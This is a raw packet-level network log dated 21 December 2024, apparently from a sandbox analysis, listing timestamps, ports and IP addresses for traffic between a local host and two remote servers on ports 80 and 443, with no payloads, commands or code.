Dec 21, 2024 18:16:38.192260981 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.192305088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.192985058 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.193037033 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.193298101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.193389893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.193440914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.194252014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.194354057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.194407940 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.195390940 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.195441008 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.195451975 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.195508003 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.196537018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.196683884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.196724892 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.197793961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.197809935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.197849035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.197890043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.199074984 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.199090958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.199131966 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.199150085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.200103045 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.200155973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.200280905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.200320005 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.201256037 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.201271057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.201329947 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.201394081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.201415062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.201438904 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.202478886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.202532053 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.202646971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.202691078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.203722000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.203737020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.203763008 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.203780890 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.204863071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.204927921 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.205051899 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.205090046 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.206010103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.206182003 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.206187963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.206223965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.207284927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.207302094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.207353115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.208355904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.208401918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.208570957 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.208625078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.209671021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.209758043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.209767103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.209810972 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.210813046 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.210865974 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.210911036 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.210957050 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.211864948 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.211913109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.212012053 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.212075949 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.213094950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.213140011 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.213172913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.214246035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.214293003 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.214411020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.214766026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.215477943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.215529919 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.215559959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.215605974 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.216641903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.216689110 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.216723919 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.217763901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.217813015 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.217833996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.217881918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.218961000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.219017029 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.219089031 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.219130039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.220132113 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.220180988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.220254898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.220299006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.221307039 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.221378088 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.221424103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.222532988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.222584009 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.222626925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.222688913 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.223736048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.223786116 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.223788977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.223828077 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.224863052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.224920988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.224987030 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.225025892 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.226075888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.226243019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.226286888 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.227215052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.227262020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.227267981 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.227339983 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.228713036 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.228765965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.228905916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.229954004 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.229990005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.230005026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.230107069 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.230994940 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.231046915 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.231048107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.231091976 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.232050896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.232108116 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.236253023 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.236305952 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.236324072 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.237803936 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.259747982 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.259814024 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.259851933 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.259928942 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.263094902 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.263159990 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.270107031 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.271302938 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.271318913 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.271357059 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.276007891 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.277318001 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.277324915 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.277360916 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.281251907 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.281429052 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.281482935 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.281491995 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.283289909 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.289171934 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.289314985 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.289323092 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.289351940 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.299598932 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.301309109 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.301316023 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.301376104 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.310053110 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.310303926 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.310317039 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.310370922 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.319714069 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.322299957 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.322308064 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.322362900 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.329721928 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.330812931 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.330826044 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.330878019 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.339669943 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.341398001 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.341403961 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.341449022 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.350043058 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.350119114 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.350148916 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.350193977 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.360444069 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.362133980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.362198114 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.362206936 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.362209082 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.362227917 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.362287998 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.362293959 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.362667084 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.362961054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.363013983 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.363023043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.363061905 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.364082098 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.364204884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.364262104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.365255117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.365293980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.365307093 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.365338087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.366405010 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.366466999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.366513968 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.366563082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.367640972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.367677927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.367728949 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.368765116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.368846893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.368895054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.369935989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.370090961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.370142937 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.371189117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.371225119 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.371277094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.372303963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.372416019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.372467041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.373481989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.373572111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.373615980 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.374653101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.374695063 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.374742031 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.375858068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.375904083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.375941038 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.377044916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.377094984 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.377152920 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.377198935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.378195047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.378240108 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.378289938 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.379390955 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.379426003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.379475117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.380527020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.380575895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.380623102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.381778955 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.381834030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.381948948 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.382900953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.382950068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.383053064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.383100986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.384145021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.384181023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.384231091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.385238886 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.385330915 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.385376930 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.386532068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.386714935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.386766911 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.387645006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.387696028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.387710094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.387736082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.388804913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.388881922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.388930082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.389944077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.390044928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.390094042 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.391191006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.391237020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.391350031 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.392365932 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.392410040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.392514944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.393510103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.393557072 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.393601894 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.393651962 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.394674063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.394768953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.394815922 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.395925999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.396011114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.396058083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.397057056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.397099972 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.397178888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.397309065 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.398256063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.398298025 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.398327112 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.398370028 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.399373055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.399416924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.399614096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.399657011 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.400595903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.400729895 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.400775909 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.401983976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.402031898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.402080059 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.403167963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.403214931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.403306961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.404398918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.404442072 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.404534101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.405767918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.405814886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.405872107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.405916929 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.406781912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.406825066 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.406871080 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.408034086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.408252954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.408294916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.408960104 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.409044981 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.409085035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.410027027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.410171032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.410214901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.411175013 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.411216974 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.411281109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.412091970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.412400961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.412445068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.412575006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.412616968 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.413511038 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.413614035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.413619041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.413654089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.414807081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.414887905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.414933920 CET	49826	80	192.168.2.4	31.41.244.11
